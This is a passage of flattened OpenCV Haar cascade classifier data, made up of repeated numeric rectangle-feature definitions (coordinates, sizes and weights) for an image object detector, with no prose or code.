9 3. + <_> + + <_> + 1 0 15 18 -1. + <_> + 6 6 5 6 9. + <_> + + <_> + 3 5 1 3 -1. + <_> + 2 6 1 1 3. + 1 + <_> + + <_> + 19 12 1 3 -1. + <_> + 19 13 1 1 3. + <_> + + <_> + 19 13 1 2 -1. + <_> + 19 14 1 1 2. + <_> + + <_> + 7 5 7 12 -1. + <_> + 7 8 7 6 2. + <_> + + <_> + 15 9 3 2 -1. + <_> + 15 10 3 1 2. + <_> + + <_> + 16 9 4 4 -1. + <_> + 17 9 2 4 2. + <_> + + <_> + 10 15 9 2 -1. + <_> + 13 15 3 2 3. + <_> + + <_> + 2 15 10 1 -1. + <_> + 7 15 5 1 2. + <_> + + <_> + 15 13 4 3 -1. + <_> + 14 14 4 1 3. + 1 + <_> + + <_> + 3 17 2 3 -1. + <_> + 4 17 1 3 2. + <_> + + <_> + 12 18 8 2 -1. + <_> + 16 18 4 2 2. + <_> + + <_> + 8 7 12 6 -1. + <_> + 12 7 4 6 3. + <_> + + <_> + 18 16 1 2 -1. + <_> + 18 16 1 1 2. + 1 + <_> + + <_> + 17 11 3 9 -1. + <_> + 17 14 3 3 3. + <_> + + <_> + 16 9 4 2 -1. + <_> + 17 10 2 2 2. + 1 + <_> + + <_> + 16 0 4 7 -1. + <_> + 17 0 2 7 2. + <_> + + <_> + 5 2 2 18 -1. + <_> + 5 11 2 9 2. + <_> + + <_> + 5 9 8 9 -1. + <_> + 7 9 4 9 2. + <_> + + <_> + 5 10 2 1 -1. + <_> + 6 10 1 1 2. + <_> + + <_> + 5 5 15 9 -1. + <_> + 10 8 5 3 9. + <_> + + <_> + 0 18 4 2 -1. + <_> + 0 19 4 1 2. + <_> + + <_> + 0 12 10 3 -1. + <_> + 0 13 10 1 3. + <_> + + <_> + 1 14 1 2 -1. + <_> + 1 15 1 1 2. + <_> + + <_> + 5 1 4 2 -1. + <_> + 6 1 2 2 2. + <_> + + <_> + 2 13 1 2 -1. + <_> + 2 14 1 1 2. + <_> + + <_> + 0 13 7 3 -1. + <_> + 0 14 7 1 3. + <_> + + <_> + 15 6 3 5 -1. + <_> + 16 7 1 5 3. + 1 + <_> + + <_> + 13 10 2 1 -1. + <_> + 14 10 1 1 2. + <_> + + <_> + 5 3 3 5 -1. + <_> + 6 4 1 5 3. + 1 + <_> + + <_> + 5 3 3 5 -1. + <_> + 6 4 1 5 3. + 1 + <_> + + <_> + 17 5 3 2 -1. + <_> + 18 6 1 2 3. + 1 + <_> + + <_> + 4 0 2 3 -1. + <_> + 3 1 2 1 3. + 1 + <_> + + <_> + 11 5 2 1 -1. + <_> + 12 5 1 1 2. + <_> + + <_> + 16 6 3 3 -1. + <_> + 15 7 3 1 3. + 1 + <_> + + <_> + 2 16 1 4 -1. + <_> + 2 17 1 2 2. + <_> + + <_> + 2 13 5 2 -1. + <_> + 2 13 5 1 2. + 1 + <_> + + <_> + 12 5 1 2 -1. + <_> + 12 6 1 1 2. + <_> + + <_> + 10 3 6 4 -1. + <_> + 10 4 6 2 2. + <_> + + <_> + 13 8 4 6 -1. + <_> + 13 8 2 3 2. + <_> + 15 11 2 3 2. + <_> + + <_> + 6 15 3 2 -1. + <_> + 7 16 1 2 3. + 1 + <_> + + <_> + 16 10 4 3 -1. + <_> + 17 11 2 3 2. + 1 + <_> + + <_> + 1 2 6 8 -1. + <_> + 4 2 3 8 2. + <_> + + <_> + 4 0 15 1 -1. + <_> + 9 0 5 1 3. + <_> + + <_> + 15 13 2 2 -1. + <_> + 15 13 2 1 2. + 1 + <_> + + <_> + 14 2 6 1 -1. + <_> + 17 2 3 1 2. + <_> + + <_> + 15 0 3 3 -1. + <_> + 16 1 1 3 3. + 1 + <_> + + <_> + 18 7 2 1 -1. + <_> + 18 7 1 1 2. + 1 + <_> + + <_> + 4 3 3 4 -1. + <_> + 3 4 3 2 2. + 1 + <_> + + <_> + 16 8 4 4 -1. + <_> + 16 9 4 2 2. + <_> + + <_> + 7 4 2 4 -1. + <_> + 6 5 2 2 2. + 1 + <_> + + <_> + 16 14 4 6 -1. + <_> + 18 14 2 6 2. + <_> + + <_> + 7 9 6 3 -1. + <_> + 9 10 2 1 9. + <_> + + <_> + 8 9 3 4 -1. + <_> + 9 9 1 4 3. + <_> + + <_> + 8 0 6 3 -1. + <_> + 10 0 2 3 3. + <_> + + <_> + 0 8 3 3 -1. + <_> + 0 9 3 1 3. + <_> + + <_> + 18 16 1 3 -1. + <_> + 18 17 1 1 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 17 5 3 3 -1. + <_> + 16 6 3 1 3. + 1 + <_> + + <_> + 12 8 1 6 -1. + <_> + 10 10 1 2 3. + 1 + <_> + + <_> + 10 3 6 12 -1. + <_> + 12 3 2 12 3. + <_> + + <_> + 8 6 5 14 -1. + <_> + 8 13 5 7 2. + <_> + + <_> + 1 17 19 2 -1. + <_> + 1 18 19 1 2. + <_> + + <_> + 14 7 2 4 -1. + <_> + 14 9 2 2 2. + <_> + + <_> + 3 13 2 4 -1. + <_> + 3 15 2 2 2. + <_> + + <_> + 1 2 18 12 -1. + <_> + 7 6 6 4 9. + <_> + + <_> + 0 0 4 5 -1. + <_> + 2 0 2 5 2. + <_> + + <_> + 14 14 6 6 -1. + <_> + 17 14 3 6 2. + <_> + + <_> + 4 16 16 3 -1. + <_> + 8 16 8 3 2. + <_> + + <_> + 8 17 8 1 -1. + <_> + 10 17 4 1 2. + <_> + + <_> + 4 7 4 4 -1. + <_> + 4 9 4 2 2. + <_> + + <_> + 0 0 18 9 -1. + <_> + 6 3 6 3 9. + <_> + + <_> + 0 9 6 2 -1. + <_> + 2 9 2 2 3. + <_> + + <_> + 15 0 3 1 -1. + <_> + 16 0 1 1 3. + <_> + + <_> + 16 0 2 1 -1. + <_> + 17 0 1 1 2. + <_> + + <_> + 18 14 1 2 -1. + <_> + 18 15 1 1 2. + <_> + + <_> + 4 0 3 2 -1. + <_> + 5 0 1 2 3. + <_> + + <_> + 6 14 3 1 -1. + <_> + 7 15 1 1 3. + 1 + <_> + + <_> + 0 11 7 3 -1. + <_> + 0 12 7 1 3. + <_> + + <_> + 1 14 19 3 -1. + <_> + 1 15 19 1 3. + <_> + + <_> + 15 1 3 5 -1. + <_> + 16 1 1 5 3. + <_> + + <_> + 14 2 6 4 -1. + <_> + 14 2 3 2 2. + <_> + 17 4 3 2 2. + <_> + + <_> + 15 10 2 2 -1. + <_> + 16 10 1 2 2. + <_> + + <_> + 14 11 3 4 -1. + <_> + 14 13 3 2 2. + <_> + + <_> + 16 5 3 15 -1. + <_> + 17 5 1 15 3. + <_> + + <_> + 6 10 14 3 -1. + <_> + 6 11 14 1 3. + <_> + + <_> + 2 17 12 3 -1. + <_> + 6 17 4 3 3. + <_> + + <_> + 0 16 16 2 -1. + <_> + 4 16 8 2 2. + <_> + + <_> + 7 3 6 16 -1. + <_> + 7 7 6 8 2. + <_> + + <_> + 7 1 12 3 -1. + <_> + 10 1 6 3 2. + <_> + + <_> + 13 1 4 4 -1. + <_> + 13 3 4 2 2. + <_> + + <_> + 6 18 3 2 -1. + <_> + 7 18 1 2 3. + <_> + + <_> + 2 2 3 5 -1. + <_> + 3 2 1 5 3. + <_> + + <_> + 10 0 3 3 -1. + <_> + 11 0 1 3 3. + <_> + + <_> + 10 0 10 4 -1. + <_> + 10 0 5 2 2. + <_> + 15 2 5 2 2. + <_> + + <_> + 0 16 6 3 -1. + <_> + 3 16 3 3 2. + <_> + + <_> + 0 17 6 3 -1. + <_> + 3 17 3 3 2. + <_> + + <_> + 16 1 3 2 -1. + <_> + 17 2 1 2 3. + 1 + <_> + + <_> + 4 1 3 3 -1. + <_> + 3 2 3 1 3. + 1 + <_> + + <_> + 6 0 4 5 -1. + <_> + 7 0 2 5 2. + <_> + + <_> + 4 17 3 3 -1. + <_> + 5 18 1 1 9. + <_> + + <_> + 4 15 3 3 -1. + <_> + 5 16 1 1 9. + <_> + + <_> + 1 10 6 1 -1. + <_> + 3 10 2 1 3. + <_> + + <_> + 0 3 20 2 -1. + <_> + 5 3 10 2 2. + <_> + + <_> + 2 1 15 4 -1. + <_> + 7 1 5 4 3. + <_> + + <_> + 1 10 18 8 -1. + <_> + 10 10 9 8 2. + <_> + + <_> + 16 7 1 4 -1. + <_> + 16 9 1 2 2. + <_> + + <_> + 17 9 2 1 -1. + <_> + 18 9 1 1 2. + <_> + + <_> + 17 5 3 7 -1. + <_> + 18 5 1 7 3. + <_> + + <_> + 5 10 12 1 -1. + <_> + 8 10 6 1 2. + <_> + + <_> + 15 9 2 6 -1. + <_> + 15 9 1 3 2. + <_> + 16 12 1 3 2. + <_> + + <_> + 1 6 16 10 -1. + <_> + 1 11 16 5 2. + <_> + + <_> + 1 12 19 8 -1. + <_> + 1 16 19 4 2. + <_> + + <_> + 4 4 12 9 -1. + <_> + 8 7 4 3 9. + <_> + + <_> + 5 2 9 9 -1. + <_> + 5 5 9 3 3. + <_> + + <_> + 13 0 3 6 -1. + <_> + 14 0 1 6 3. + <_> + + <_> + 19 16 1 3 -1. + <_> + 18 17 1 1 3. + 1 + <_> + + <_> + 17 17 1 2 -1. + <_> + 17 18 1 1 2. + <_> + + <_> + 0 9 4 2 -1. + <_> + 2 9 2 2 2. + <_> + + <_> + 3 0 3 19 -1. + <_> + 4 0 1 19 3. + <_> + + <_> + 4 13 4 1 -1. + <_> + 5 14 2 1 2. + 1 + <_> + + <_> + 16 0 4 1 -1. + <_> + 18 0 2 1 2. + <_> + + <_> + 10 0 4 4 -1. + <_> + 11 0 2 4 2. + <_> + + <_> + 9 0 3 5 -1. + <_> + 10 0 1 5 3. + <_> + + <_> + 3 4 1 3 -1. + <_> + 2 5 1 1 3. + 1 + <_> + + <_> + 3 4 2 3 -1. + <_> + 2 5 2 1 3. + 1 + <_> + + <_> + 5 14 3 3 -1. + <_> + 6 15 1 3 3. + 1 + <_> + + <_> + 2 0 2 2 -1. + <_> + 2 0 1 2 2. + 1 + <_> + + <_> + 0 2 6 1 -1. + <_> + 3 2 3 1 2. + <_> + + <_> + 0 2 4 5 -1. + <_> + 2 2 2 5 2. + <_> + + <_> + 2 0 4 4 -1. + <_> + 3 0 2 4 2. + <_> + + <_> + 6 16 3 1 -1. + <_> + 7 17 1 1 3. + 1 + <_> + + <_> + 16 3 4 2 -1. + <_> + 17 4 2 2 2. + 1 + <_> + + <_> + 16 19 2 1 -1. + <_> + 17 19 1 1 2. + <_> + + <_> + 17 18 2 1 -1. + <_> + 18 18 1 1 2. + <_> + + <_> + 17 16 1 3 -1. + <_> + 17 17 1 1 3. + <_> + + <_> + 9 8 3 3 -1. + <_> + 9 9 3 1 3. + <_> + + <_> + 2 17 5 2 -1. + <_> + 2 18 5 1 2. + <_> + + <_> + 6 10 8 3 -1. + <_> + 8 10 4 3 2. + <_> + + <_> + 17 15 2 3 -1. + <_> + 16 16 2 1 3. + 1 + <_> + + <_> + 6 8 5 2 -1. + <_> + 6 8 5 1 2. + 1 + <_> + + <_> + 11 0 3 4 -1. + <_> + 11 2 3 2 2. + <_> + + <_> + 17 2 3 3 -1. + <_> + 18 3 1 3 3. + 1 + <_> + + <_> + 16 4 3 2 -1. + <_> + 16 5 3 1 2. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 0 3 3 2. + <_> + 17 3 3 3 2. + <_> + + <_> + 6 2 10 4 -1. + <_> + 6 4 10 2 2. + <_> + + <_> + 5 6 9 2 -1. + <_> + 5 7 9 1 2. + <_> + + <_> + 7 6 6 3 -1. + <_> + 7 7 6 1 3. + <_> + + <_> + 17 0 3 1 -1. + <_> + 18 1 1 1 3. + 1 + <_> + + <_> + 8 0 12 2 -1. + <_> + 14 0 6 2 2. + <_> + + <_> + 16 2 4 2 -1. + <_> + 18 2 2 2 2. + <_> + + <_> + 9 4 4 1 -1. + <_> + 10 4 2 1 2. + <_> + + <_> + 5 4 2 3 -1. + <_> + 4 5 2 1 3. + 1 + <_> + + <_> + 16 8 4 8 -1. + <_> + 17 8 2 8 2. + <_> + + <_> + 1 19 16 1 -1. + <_> + 9 19 8 1 2. + <_> + + <_> + 4 19 12 1 -1. + <_> + 10 19 6 1 2. + <_> + + <_> + 2 19 4 1 -1. + <_> + 4 19 2 1 2. + <_> + + <_> + 12 5 2 8 -1. + <_> + 12 7 2 4 2. + <_> + + <_> + 8 10 1 2 -1. + <_> + 8 10 1 1 2. + 1 + <_> + + <_> + 15 3 3 12 -1. + <_> + 16 3 1 12 3. + <_> + + <_> + 16 14 4 3 -1. + <_> + 16 15 4 1 3. + <_> + + <_> + 3 0 3 2 -1. + <_> + 4 0 1 2 3. + <_> + + <_> + 13 13 3 6 -1. + <_> + 14 13 1 6 3. + <_> + + <_> + 2 12 2 2 -1. + <_> + 2 12 2 1 2. + 1 + <_> + + <_> + 1 8 1 9 -1. + <_> + 1 11 1 3 3. + <_> + + <_> + 1 9 2 2 -1. + <_> + 2 9 1 2 2. + <_> + + <_> + 13 9 2 3 -1. + <_> + 12 10 2 1 3. + 1 + <_> + + <_> + 10 14 4 6 -1. + <_> + 11 14 2 6 2. + <_> + + <_> + 11 6 4 8 -1. + <_> + 12 6 2 8 2. + <_> + + <_> + 5 6 14 14 -1. + <_> + 5 13 14 7 2. + <_> + + <_> + 6 4 8 3 -1. + <_> + 6 5 8 1 3. + <_> + + <_> + 1 16 1 3 -1. + <_> + 1 17 1 1 3. + <_> + + <_> + 5 1 4 3 -1. + <_> + 4 2 4 1 3. + 1 + <_> + + <_> + 17 3 3 3 -1. + <_> + 16 4 3 1 3. + 1 + <_> + + <_> + 15 3 5 15 -1. + <_> + 15 8 5 5 3. + <_> + + <_> + 15 9 4 6 -1. + <_> + 15 9 2 3 2. + <_> + 17 12 2 3 2. + <_> + + <_> + 16 7 3 3 -1. + <_> + 15 8 3 1 3. + 1 + <_> + + <_> + 11 5 6 9 -1. + <_> + 13 5 2 9 3. + <_> + + <_> + 16 15 2 3 -1. + <_> + 15 16 2 1 3. + 1 + <_> + + <_> + 0 17 7 3 -1. + <_> + 0 18 7 1 3. + <_> + + <_> + 16 8 4 7 -1. + <_> + 17 9 2 7 2. + 1 + <_> + + <_> + 15 16 1 3 -1. + <_> + 14 17 1 1 3. + 1 + <_> + + <_> + 12 17 8 1 -1. + <_> + 16 17 4 1 2. + <_> + + <_> + 14 16 2 4 -1. + <_> + 14 18 2 2 2. + <_> + + <_> + 4 10 12 1 -1. + <_> + 8 10 4 1 3. + <_> + + <_> + 4 9 2 2 -1. + <_> + 5 9 1 2 2. + <_> + + <_> + 7 10 9 2 -1. + <_> + 10 10 3 2 3. + <_> + + <_> + 5 3 13 9 -1. + <_> + 5 6 13 3 3. + <_> + + <_> + 6 7 5 2 -1. + <_> + 6 8 5 1 2. + <_> + + <_> + 5 5 12 14 -1. + <_> + 9 5 4 14 3. + <_> + + <_> + 18 8 2 10 -1. + <_> + 18 13 2 5 2. + <_> + + <_> + 8 1 4 4 -1. + <_> + 9 1 2 4 2. + <_> + + <_> + 0 0 20 7 -1. + <_> + 5 0 10 7 2. + <_> + + <_> + 10 0 4 4 -1. + <_> + 11 0 2 4 2. + <_> + + <_> + 13 1 3 2 -1. + <_> + 14 1 1 2 3. + <_> + + <_> + 12 0 8 1 -1. + <_> + 16 0 4 1 2. + <_> + + <_> + 0 3 4 6 -1. + <_> + 0 3 2 3 2. + <_> + 2 6 2 3 2. + <_> + + <_> + 1 0 4 5 -1. + <_> + 3 0 2 5 2. + <_> + + <_> + 4 5 1 3 -1. + <_> + 3 6 1 1 3. + 1 + <_> + + <_> + 4 14 4 2 -1. + <_> + 4 14 2 2 2. + 1 + <_> + + <_> + 3 13 16 7 -1. + <_> + 11 13 8 7 2. + <_> + + <_> + 5 1 9 4 -1. + <_> + 5 2 9 2 2. + <_> + + <_> + 4 1 3 3 -1. + <_> + 5 1 1 3 3. + <_> + + <_> + 0 0 10 1 -1. + <_> + 5 0 5 1 2. + <_> + + <_> + 8 6 5 4 -1. + <_> + 7 7 5 2 2. + 1 + <_> + + <_> + 18 4 2 2 -1. + <_> + 18 4 1 2 2. + 1 + <_> + + <_> + 11 7 3 3 -1. + <_> + 12 8 1 1 9. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 3 5 1 3 -1. + <_> + 2 6 1 1 3. + 1 + <_> + + <_> + 7 10 2 3 -1. + <_> + 6 11 2 1 3. + 1 + <_> + + <_> + 0 5 2 14 -1. + <_> + 0 12 2 7 2. + <_> + + <_> + 14 12 5 2 -1. + <_> + 14 13 5 1 2. + <_> + + <_> + 5 4 3 5 -1. + <_> + 6 5 1 5 3. + 1 + <_> + + <_> + 0 8 20 6 -1. + <_> + 0 10 20 2 3. + <_> + + <_> + 15 10 2 2 -1. + <_> + 15 10 1 2 2. + 1 + <_> + + <_> + 1 15 14 2 -1. + <_> + 8 15 7 2 2. + <_> + + <_> + 2 14 4 5 -1. + <_> + 4 14 2 5 2. + <_> + + <_> + 17 15 2 3 -1. + <_> + 16 16 2 1 3. + 1 + <_> + + <_> + 5 0 6 4 -1. + <_> + 7 0 2 4 3. + <_> + + <_> + 6 0 14 20 -1. + <_> + 6 10 14 10 2. + <_> + + <_> + 13 1 1 9 -1. + <_> + 13 4 1 3 3. + <_> + + <_> + 15 0 1 4 -1. + <_> + 15 1 1 2 2. + <_> + + <_> + 13 3 2 2 -1. + <_> + 14 3 1 2 2. + <_> + + <_> + 16 18 3 2 -1. + <_> + 16 19 3 1 2. + <_> + + <_> + 17 17 2 3 -1. + <_> + 17 18 2 1 3. + <_> + + <_> + 4 6 8 6 -1. + <_> + 4 6 4 3 2. + <_> + 8 9 4 3 2. + <_> + + <_> + 0 3 18 3 -1. + <_> + 6 3 6 3 3. + <_> + + <_> + 16 1 3 2 -1. + <_> + 17 1 1 2 3. + <_> + + <_> + 4 7 4 3 -1. + <_> + 4 7 2 3 2. + 1 + <_> + + <_> + 0 17 20 3 -1. + <_> + 5 17 10 3 2. + <_> + + <_> + 15 16 4 2 -1. + <_> + 17 16 2 2 2. + <_> + + <_> + 5 13 2 5 -1. + <_> + 5 13 1 5 2. + 1 + <_> + + <_> + 1 8 10 1 -1. + <_> + 1 8 5 1 2. + 1 + <_> + + <_> + 9 15 9 5 -1. + <_> + 12 15 3 5 3. + <_> + + <_> + 15 8 4 7 -1. + <_> + 16 8 2 7 2. + <_> + + <_> + 12 4 3 1 -1. + <_> + 13 4 1 1 3. + <_> + + <_> + 15 3 4 11 -1. + <_> + 16 3 2 11 2. + <_> + + <_> + 3 15 3 1 -1. + <_> + 4 16 1 1 3. + 1 + <_> + + <_> + 13 8 3 4 -1. + <_> + 14 9 1 4 3. + 1 + <_> + + <_> + 4 2 12 2 -1. + <_> + 10 2 6 2 2. + <_> + + <_> + 2 1 16 7 -1. + <_> + 10 1 8 7 2. + <_> + + <_> + 12 1 3 4 -1. + <_> + 12 2 3 2 2. + <_> + + <_> + 10 8 10 12 -1. + <_> + 10 12 10 4 3. + <_> + + <_> + 17 0 3 8 -1. + <_> + 17 4 3 4 2. + <_> + + <_> + 6 2 3 2 -1. + <_> + 7 2 1 2 3. + <_> + + <_> + 4 1 3 8 -1. + <_> + 5 1 1 8 3. + <_> + + <_> + 4 18 6 2 -1. + <_> + 7 18 3 2 2. + <_> + + <_> + 8 0 2 6 -1. + <_> + 8 0 1 6 2. + 1 + <_> + + <_> + 2 1 3 14 -1. + <_> + 3 1 1 14 3. + <_> + + <_> + 17 0 3 9 -1. + <_> + 18 0 1 9 3. + <_> + + <_> + 6 5 3 5 -1. + <_> + 7 6 1 5 3. + 1 + <_> + + <_> + 6 8 2 5 -1. + <_> + 7 8 1 5 2. + <_> + + <_> + 5 8 9 11 -1. + <_> + 8 8 3 11 3. + <_> + + <_> + 7 16 3 4 -1. + <_> + 8 16 1 4 3. + <_> + + <_> + 10 12 3 6 -1. + <_> + 11 12 1 6 3. + <_> + + <_> + 8 17 6 2 -1. + <_> + 10 17 2 2 3. + <_> + + <_> + 12 0 8 4 -1. + <_> + 12 0 4 2 2. + <_> + 16 2 4 2 2. + <_> + + <_> + 19 0 1 2 -1. + <_> + 19 1 1 1 2. + <_> + + <_> + 18 1 2 1 -1. + <_> + 19 1 1 1 2. + <_> + + <_> + 5 6 1 3 -1. + <_> + 4 7 1 1 3. + 1 + <_> + + <_> + 6 6 2 1 -1. + <_> + 6 6 1 1 2. + 1 + <_> + + <_> + 0 7 2 3 -1. + <_> + 0 8 2 1 3. + <_> + + <_> + 14 7 2 5 -1. + <_> + 15 7 1 5 2. + <_> + + <_> + 16 5 2 7 -1. + <_> + 16 5 1 7 2. + 1 + <_> + + <_> + 14 8 4 6 -1. + <_> + 15 9 2 6 2. + 1 + <_> + + <_> + 4 8 4 4 -1. + <_> + 4 8 2 4 2. + 1 + <_> + + <_> + 16 1 4 2 -1. + <_> + 18 1 2 2 2. + <_> + + <_> + 8 0 12 2 -1. + <_> + 14 0 6 2 2. + <_> + + <_> + 7 2 4 1 -1. + <_> + 8 2 2 1 2. + <_> + + <_> + 18 7 2 3 -1. + <_> + 18 8 2 1 3. + <_> + + <_> + 13 3 4 4 -1. + <_> + 13 4 4 2 2. + <_> + + <_> + 0 8 17 4 -1. + <_> + 0 9 17 2 2. + <_> + + <_> + 11 8 1 4 -1. + <_> + 11 9 1 2 2. + <_> + + <_> + 12 8 8 2 -1. + <_> + 12 8 4 1 2. + <_> + 16 9 4 1 2. + <_> + + <_> + 12 10 6 1 -1. + <_> + 14 10 2 1 3. + <_> + + <_> + 5 8 2 5 -1. + <_> + 5 8 1 5 2. + 1 + <_> + + <_> + 12 9 2 1 -1. + <_> + 12 9 1 1 2. + 1 + <_> + + <_> + 5 10 3 1 -1. + <_> + 6 10 1 1 3. + <_> + + <_> + 0 6 20 14 -1. + <_> + 0 13 20 7 2. + <_> + + <_> + 9 5 4 8 -1. + <_> + 9 5 4 4 2. + 1 + <_> + + <_> + 6 1 9 2 -1. + <_> + 6 2 9 1 2. + <_> + + <_> + 7 1 8 4 -1. + <_> + 7 2 8 2 2. + <_> + + <_> + 3 0 12 4 -1. + <_> + 3 1 12 2 2. + <_> + + <_> + 0 1 9 7 -1. + <_> + 3 1 3 7 3. + <_> + + <_> + 5 9 6 3 -1. + <_> + 7 9 2 3 3. + <_> + + <_> + 6 4 10 3 -1. + <_> + 5 5 10 1 3. + 1 + <_> + + <_> + 12 0 8 7 -1. + <_> + 14 0 4 7 2. + <_> + + <_> + 8 0 6 6 -1. + <_> + 10 0 2 6 3. + <_> + + <_> + 1 14 4 1 -1. + <_> + 1 14 2 1 2. + 1 + <_> + + <_> + 5 9 3 4 -1. + <_> + 6 10 1 4 3. + 1 + <_> + + <_> + 5 17 10 3 -1. + <_> + 5 18 10 1 3. + <_> + + <_> + 7 14 6 4 -1. + <_> + 7 15 6 2 2. + <_> + + <_> + 8 13 7 3 -1. + <_> + 8 14 7 1 3. + <_> + + <_> + 8 7 8 3 -1. + <_> + 7 8 8 1 3. + 1 + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 16 1 1 2. + <_> + 19 17 1 1 2. + <_> + + <_> + 9 3 9 6 -1. + <_> + 7 5 9 2 3. + 1 + <_> + + <_> + 18 18 1 2 -1. + <_> + 18 19 1 1 2. + <_> + + <_> + 16 11 4 1 -1. + <_> + 17 12 2 1 2. + 1 + <_> + + <_> + 5 0 4 3 -1. + <_> + 5 1 4 1 3. + <_> + + <_> + 13 10 4 1 -1. + <_> + 14 10 2 1 2. + <_> + + <_> + 15 7 2 10 -1. + <_> + 15 7 1 5 2. + <_> + 16 12 1 5 2. + <_> + + <_> + 6 0 3 20 -1. + <_> + 6 10 3 10 2. + <_> + + <_> + 4 4 9 16 -1. + <_> + 4 8 9 8 2. + <_> + + <_> + 2 9 3 3 -1. + <_> + 3 9 1 3 3. + <_> + + <_> + 3 1 9 6 -1. + <_> + 6 1 3 6 3. + <_> + + <_> + 5 18 1 2 -1. + <_> + 5 19 1 1 2. + <_> + + <_> + 4 0 6 5 -1. + <_> + 6 0 2 5 3. + <_> + + <_> + 16 8 3 7 -1. + <_> + 17 9 1 7 3. + 1 + <_> + + <_> + 15 3 3 7 -1. + <_> + 16 4 1 7 3. + 1 + <_> + + <_> + 18 3 1 15 -1. + <_> + 18 8 1 5 3. + <_> + + <_> + 5 10 4 1 -1. + <_> + 6 10 2 1 2. + <_> + + <_> + 7 8 3 12 -1. + <_> + 8 8 1 12 3. + <_> + + <_> + 14 6 4 2 -1. + <_> + 14 6 2 1 2. + <_> + 16 7 2 1 2. + <_> + + <_> + 5 18 2 2 -1. + <_> + 5 18 1 1 2. + <_> + 6 19 1 1 2. + <_> + + <_> + 8 18 2 2 -1. + <_> + 8 18 1 1 2. + <_> + 9 19 1 1 2. + <_> + + <_> + 3 18 2 2 -1. + <_> + 3 18 1 1 2. + <_> + 4 19 1 1 2. + <_> + + <_> + 6 4 3 6 -1. + <_> + 7 5 1 6 3. + 1 + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 0 8 12 3 -1. + <_> + 6 8 6 3 2. + <_> + + <_> + 9 10 6 2 -1. + <_> + 11 10 2 2 3. + <_> + + <_> + 8 5 9 8 -1. + <_> + 11 5 3 8 3. + <_> + + <_> + 16 8 4 12 -1. + <_> + 16 14 4 6 2. + <_> + + <_> + 9 16 10 4 -1. + <_> + 9 17 10 2 2. + <_> + + <_> + 12 0 1 20 -1. + <_> + 12 10 1 10 2. + <_> + + <_> + 8 9 3 3 -1. + <_> + 9 10 1 1 9. + <_> + + <_> + 5 4 3 2 -1. + <_> + 6 4 1 2 3. + <_> + + <_> + 4 0 4 5 -1. + <_> + 5 0 2 5 2. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 4 10 5 3 -1. + <_> + 3 11 5 1 3. + 1 + <_> + + <_> + 0 0 4 12 -1. + <_> + 1 0 2 12 2. + <_> + + <_> + 7 1 8 14 -1. + <_> + 9 1 4 14 2. + <_> + + <_> + 5 14 7 3 -1. + <_> + 5 15 7 1 3. + <_> + + <_> + 15 7 4 2 -1. + <_> + 15 7 2 1 2. + <_> + 17 8 2 1 2. + <_> + + <_> + 8 18 3 1 -1. + <_> + 9 18 1 1 3. + <_> + + <_> + 1 9 6 6 -1. + <_> + 1 12 6 3 2. + <_> + + <_> + 9 4 5 3 -1. + <_> + 8 5 5 1 3. + 1 + <_> + + <_> + 14 6 6 2 -1. + <_> + 14 6 3 2 2. + 1 + <_> + + <_> + 8 18 3 2 -1. + <_> + 9 18 1 2 3. + <_> + + <_> + 9 16 2 2 -1. + <_> + 9 16 1 1 2. + <_> + 10 17 1 1 2. + <_> + + <_> + 0 8 13 8 -1. + <_> + 0 10 13 4 2. + <_> + + <_> + 12 6 4 7 -1. + <_> + 13 6 2 7 2. + <_> + + <_> + 5 6 5 3 -1. + <_> + 5 7 5 1 3. + <_> + + <_> + 11 18 2 2 -1. + <_> + 11 18 1 1 2. + <_> + 12 19 1 1 2. + <_> + + <_> + 12 9 6 2 -1. + <_> + 14 9 2 2 3. + <_> + + <_> + 0 9 6 2 -1. + <_> + 2 9 2 2 3. + <_> + + <_> + 2 7 4 6 -1. + <_> + 3 7 2 6 2. + <_> + + <_> + 6 4 10 4 -1. + <_> + 6 6 10 2 2. + <_> + + <_> + 9 5 2 4 -1. + <_> + 9 7 2 2 2. + <_> + + <_> + 15 9 2 2 -1. + <_> + 16 9 1 2 2. + <_> + + <_> + 0 15 20 4 -1. + <_> + 5 15 10 4 2. + <_> + + <_> + 10 9 1 8 -1. + <_> + 10 13 1 4 2. + <_> + + <_> + 8 17 4 3 -1. + <_> + 9 17 2 3 2. + <_> + + <_> + 0 17 1 3 -1. + <_> + 0 18 1 1 3. + <_> + + <_> + 18 6 2 1 -1. + <_> + 18 6 1 1 2. + 1 + <_> + + <_> + 0 15 1 4 -1. + <_> + 0 16 1 2 2. + <_> + + <_> + 7 16 6 2 -1. + <_> + 9 16 2 2 3. + <_> + + <_> + 5 10 3 1 -1. + <_> + 6 10 1 1 3. + <_> + + <_> + 4 16 8 4 -1. + <_> + 6 16 4 4 2. + <_> + + <_> + 0 6 1 3 -1. + <_> + 0 7 1 1 3. + <_> + + <_> + 1 7 4 1 -1. + <_> + 2 8 2 1 2. + 1 + <_> + + <_> + 5 4 1 8 -1. + <_> + 5 8 1 4 2. + <_> + + <_> + 7 1 5 4 -1. + <_> + 7 3 5 2 2. + <_> + + <_> + 7 1 5 4 -1. + <_> + 7 3 5 2 2. + <_> + + <_> + 18 0 2 4 -1. + <_> + 18 1 2 2 2. + <_> + + <_> + 0 0 8 3 -1. + <_> + 4 0 4 3 2. + <_> + + <_> + 0 0 2 2 -1. + <_> + 0 1 2 1 2. + <_> + + <_> + 14 0 6 1 -1. + <_> + 17 0 3 1 2. + <_> + + <_> + 6 2 3 3 -1. + <_> + 5 3 3 1 3. + 1 + <_> + + <_> + 13 4 2 2 -1. + <_> + 13 5 2 1 2. + <_> + + <_> + 18 4 2 3 -1. + <_> + 18 5 2 1 3. + <_> + + <_> + 17 0 3 4 -1. + <_> + 18 1 1 4 3. + 1 + <_> + + <_> + 16 1 4 4 -1. + <_> + 17 2 2 4 2. + 1 + <_> + + <_> + 6 9 6 9 -1. + <_> + 8 9 2 9 3. + <_> + + <_> + 6 8 2 5 -1. + <_> + 7 8 1 5 2. + <_> + + <_> + 4 3 3 4 -1. + <_> + 5 4 1 4 3. + 1 + <_> + + <_> + 0 18 1 2 -1. + <_> + 0 19 1 1 2. + <_> + + 